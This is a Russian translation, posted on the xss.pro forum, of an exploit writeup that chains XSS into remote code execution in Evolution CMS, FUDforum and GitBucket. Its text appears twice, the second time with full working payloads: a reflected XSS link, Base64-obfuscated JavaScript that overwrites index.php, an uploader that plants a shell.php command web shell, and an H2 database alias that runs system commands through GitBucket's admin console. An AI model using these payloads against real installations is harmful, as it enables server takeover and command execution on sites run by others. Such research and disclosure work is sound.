Оригинальная статья
Переведено специяльно для xss.pro
Камнями кидать в Jolah Milovski
Межсайтовый скриптинг (XSS) — одна из наиболее часто встречающихся атак в веб-приложениях. Если злоумышленник сможет внедрить код JavaScript в вывод приложения, это может привести не только к краже cookie, перенаправлению или фишингу, но и в некоторых случаях к полной компрометации системы.
В этой статье я покажу, как добиться удаленного выполнения кода через XSS на примерах Evolution CMS, FUDForum и GitBucket.
Ссылка: https://github.com/evolution-cms/evolution
CVE: в ожидании
Evolution CMS позиционирует себя как самую быструю и настраиваемую PHP CMS с открытым исходным кодом в мире.
В Evolution CMS я обнаружил неэкранированное отображение контролируемых пользователем данных, что приводит к возможности отраженных XSS-атак:
manager/views/page/user_roles/permission.blade.php
manager/views/page/user_roles/user_role.blade.php
manager/views/page/user_roles/permissions_groups.blade.php
А вот и полезная нагрузка подъехала:
Если авторизованный в системе администратор перейдет по ссылке или кликнет по ней, то в браузере администратора будет выполнен код javascript:
В админ панели Evolution CMS, в разделе файлового менеджера, администратор может загружать файлы.
Проблема в том, что он не может загружать файлы php, однако может редактировать существующие.
Мы приведем пример кода javascript, который перезапишет файл index.php с помощью phpinfo():
Еще одна полезная нагрузка на JavaScript закодированная в Base64:
В случае успешной атаки на авторизованного в системе администратора файл index.php будет перезаписан кодом, который злоумышленник разместил в полезной нагрузке. В данном случае это вызов phpinfo():
Достижение удаленного выполнения кода с помощью отраженного XSS в Evolution CMS v3.1.8
CVE: ожидается
FUDforum — супербыстрый и масштабируемый. Он легко настраивается и поддерживает неограниченное количество участников, форумов, сообщений, тем, опросов и вложений.
На FUDforum я обнаружил неэкранированное отображение контролируемых пользователем данных в имени вложения в личном сообщении или теме форума, что позволяет выполнить хранимую XSS-атаку. Прикрепите и загрузите файл с названием: <img src=1 onerror=alert()>.png . После загрузки этого файла код javascript будет выполнен в браузере:
Эксплуатация XSS-уязвимости в FUDforum v3.1.1
В админке FUDforum есть файловый менеджер, который позволяет загружать файлы на сервер, в том числе файлы с расширением php.
Злоумышленник может использовать сохраненный XSS для загрузки php-файла, который может выполнить любую команду на сервере.
Уже есть публичный эксплойт для FUDforum, который с помощью javascript-кода загружает php-файл от имени администратора:
Теперь злоумышленник может написать личное сообщение самому себе и прикрепить упомянутый эксплойт в виде файла. После того, как сообщение было отправлено самому себе, необходимо получить путь к размещенному на сервере javascript-эксплойту:
Следующим шагом является подготовка полезной нагрузки javascript, которая будет выполняться с помощью сохраненного для этого файла с кодом для атаки XSS. Суть полезной нагрузки заключается в том, чтобы получить ранее размещенный эксплойт и запустить его:
Осталось собрать все воедино, чтобы сформировать полное имя вложенного файла в личных сообщениях. Мы закодируем собранную полезную нагрузку javascript в Base64:
После того, как администратор прочитает личное сообщение, отправленное злоумышленником с вложенным файлом, на сервере от имени администратора будет создан файл с именем shell.php, который позволит злоумышленнику выполнять произвольные команды на сервере:
Приплыли! Достижение удаленного выполнения кода с помощью сохраненного XSS в FUDforum v3.1.1
Link: https://github.com/gitbucket/gitbucket
CVE:ожидается
GitBucket — это платформа Git на базе Scala, отличающаяся простотой установки, высокой расширяемостью и совместимостью с GitHub API.
В GitBucket я обнаружил неэкранированное отображение имени задачи, контролируемой пользователем, на домашней странице и странице профиля злоумышленника ( /hacker?tab=activity), что приводит к сохраненному XSS:
Реализуя сохраненную XSS-атаку, можно попытаться использовать ее для выполнения кода на сервере. В панели администратора есть инструменты для выполнения SQL-запросов — Просмотр базы данных.
GitBucket по умолчанию использует движок базы данных H2 . Для этой базы данных существует общедоступный эксплойт для удаленного выполнения кода.
Итак, все, что нужно сделать злоумышленнику, — это создать PoC-код на основе этого эксплойта, загрузить его в репозиторий и использовать во время атаки:
Загрузка PoC-кода для использования хранимой XSS в репозитории H2 Database Engine.
Теперь осталось выполнить сохраненную XSS-атаку с загруженным ранним эксплойтом:
Когда администратор посещает страницу профиля злоумышленника или главную страницу, от его имени будет выполнен эксплойт и HACKED файл будет создан на сервере:
Переведено специяльно для xss.pro
Камнями кидать в Jolah Milovski
Межсайтовый скриптинг (XSS) — одна из наиболее часто встречающихся атак в веб-приложениях. Если злоумышленник сможет внедрить код JavaScript в вывод приложения, это может привести не только к краже cookie, перенаправлению или фишингу, но и в некоторых случаях к полной компрометации системы.
В этой статье я покажу, как добиться удаленного выполнения кода через XSS на примерах Evolution CMS, FUDForum и GitBucket.
Evolution CMS v3.1.8
Ссылка: https://github.com/evolution-cms/evolution
CVE: в ожидании
Evolution CMS позиционирует себя как самую быструю и настраиваемую PHP CMS с открытым исходным кодом в мире.
В Evolution CMS я обнаружил неэкранированное отображение контролируемых пользователем данных, что приводит к возможности отраженных XSS-атак:
manager/views/page/user_roles/permission.blade.php
manager/views/page/user_roles/user_role.blade.php
manager/views/page/user_roles/permissions_groups.blade.php
А вот и полезная нагрузка подъехала:
Код:
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E
Если авторизованный в системе администратор перейдет по ссылке или кликнет по ней, то в браузере администратора будет выполнен код javascript:
В админ панели Evolution CMS, в разделе файлового менеджера, администратор может загружать файлы.
Проблема в том, что он не может загружать файлы php, однако может редактировать существующие.
Мы приведем пример кода javascript, который перезапишет файл index.php с помощью phpinfo():
JavaScript:
$.get('/manager/?a=31',function(d) {
let p = $(d).contents().find('input[name=\"path\"]').val();
$.ajax({
url:'/manager/index.php',
type:'POST',
contentType:'application/x-www-form-urlencoded',
data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'}
);
});
Еще одна полезная нагрузка на JavaScript закодированная в Base64:
Код с оформлением (BB-коды):
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=eval(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E
В случае успешной атаки на авторизованного в системе администратора файл index.php будет перезаписан кодом, который злоумышленник разместил в полезной нагрузке. В данном случае это вызов phpinfo():
Достижение удаленного выполнения кода с помощью отраженного XSS в Evolution CMS v3.1.8
FUDforum v3.1.1
Ссылка: https://github.com/fudforum/FUDforumCVE: ожидается
FUDforum — супербыстрый и масштабируемый. Он легко настраивается и поддерживает неограниченное количество участников, форумов, сообщений, тем, опросов и вложений.
На FUDforum я обнаружил неэкранированное отображение контролируемых пользователем данных в имени вложения в личном сообщении или теме форума, что позволяет выполнить хранимую XSS-атаку. Прикрепите и загрузите файл с названием: <img src=1 onerror=alert()>.png . После загрузки этого файла код javascript будет выполнен в браузере:
Эксплуатация XSS-уязвимости в FUDforum v3.1.1
В админке FUDforum есть файловый менеджер, который позволяет загружать файлы на сервер, в том числе файлы с расширением php.
Злоумышленник может использовать сохраненный XSS для загрузки php-файла, который может выполнить любую команду на сервере.
Уже есть публичный эксплойт для FUDforum, который с помощью javascript-кода загружает php-файл от имени администратора:
Код:
const action = '/adm/admbrowse.php';
function uploadShellWithCSRFToken(csrf) {
let cur = '/var/www/html/fudforum.loc';
let boundary = "-----------------------------347796892242263418523552968210";
let contentType = "application/x-php";
let fileName = 'shell.php';
let fileData = "<?=`$_GET[cmd]`?>";
let xhr = new XMLHttpRequest();
xhr.open('POST', action, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + boundary);
let body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="cur"\r\n\r\n';
body += cur + "\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="SQ"\r\n\r\n';
body += csrf + "\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="fname"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + contentType + "\r\n\r\n";
body += fileData + "\r\n\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="tmp_f_val"\r\n\r\n';
body += "1" + "\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="d_name"\r\n\r\n';
body += fileName + "\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="file_upload"\r\n\r\n';
body += "Upload File" + '\r\n';
body += "--" + boundary + "--";
xhr.send(body);
}
let req = new XMLHttpRequest();
req.onreadystatechange = function() {
if (req.readyState == 4 && req.status == 200) {
let response = req.response;
uploadShellWithCSRFToken(response.querySelector('input[name=SQ]').value);
}
}
req.open("GET", action, true);
req.responseType = "document";
req.send();
Теперь злоумышленник может написать личное сообщение самому себе и прикрепить упомянутый эксплойт в виде файла. После того, как сообщение было отправлено самому себе, необходимо получить путь к размещенному на сервере javascript-эксплойту:
Код:
index.php?t=getfile&id=7&private=1
Следующим шагом является подготовка полезной нагрузки javascript, которая будет выполняться с помощью сохраненного для этого файла с кодом для атаки XSS. Суть полезной нагрузки заключается в том, чтобы получить ранее размещенный эксплойт и запустить его:
Код:
$.get('index.php?t=getfile&id=7&&private=1',function(d){eval(d)})
Осталось собрать все воедино, чтобы сформировать полное имя вложенного файла в личных сообщениях. Мы закодируем собранную полезную нагрузку javascript в Base64:
Код:
<img src=1 onerror=eval(atob('JC5nZXQoJ2luZGV4LnBocD90PWdldGZpbGUmaWQ9NyYmcHJpdmF0ZT0xJyxmdW5jdGlvbihkKXtldmFsKGQpfSk='))>.png
После того, как администратор прочитает личное сообщение, отправленное злоумышленником с вложенным файлом, на сервере от имени администратора будет создан файл с именем shell.php, который позволит злоумышленнику выполнять произвольные команды на сервере:
Приплыли! Достижение удаленного выполнения кода с помощью сохраненного XSS в FUDforum v3.1.1
GitBucket v4.37.1
Link: https://github.com/gitbucket/gitbucket
CVE:ожидается
GitBucket — это платформа Git на базе Scala, отличающаяся простотой установки, высокой расширяемостью и совместимостью с GitHub API.
В GitBucket я обнаружил неэкранированное отображение имени задачи, контролируемой пользователем, на домашней странице и странице профиля злоумышленника ( /hacker?tab=activity), что приводит к сохраненному XSS:
Реализуя сохраненную XSS-атаку, можно попытаться использовать ее для выполнения кода на сервере. В панели администратора есть инструменты для выполнения SQL-запросов — Просмотр базы данных.
GitBucket по умолчанию использует движок базы данных H2 . Для этой базы данных существует общедоступный эксплойт для удаленного выполнения кода.
Итак, все, что нужно сделать злоумышленнику, — это создать PoC-код на основе этого эксплойта, загрузить его в репозиторий и использовать во время атаки:
Код:
var url = "/admin/dbviewer/_query";
$.post(url, {query: 'CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");return s.hasNext() ? s.next() : ""; }$$;'
})
.done(function(data) {$.post(url, {query: "CALL EXECVE('touch HACKED')"})})
Загрузка PoC-кода для использования хранимой XSS в репозитории H2 Database Engine.
Теперь осталось выполнить сохраненную XSS-атаку с загруженным ранним эксплойтом:
Код:
ssue 1"><script src="/hacker/Repo1/raw/f85ebe5d6b979ca69411fa84749edead3eec8de0/exploit.js"></script>
Когда администратор посещает страницу профиля злоумышленника или главную страницу, от его имени будет выполнен эксплойт и HACKED файл будет создан на сервере: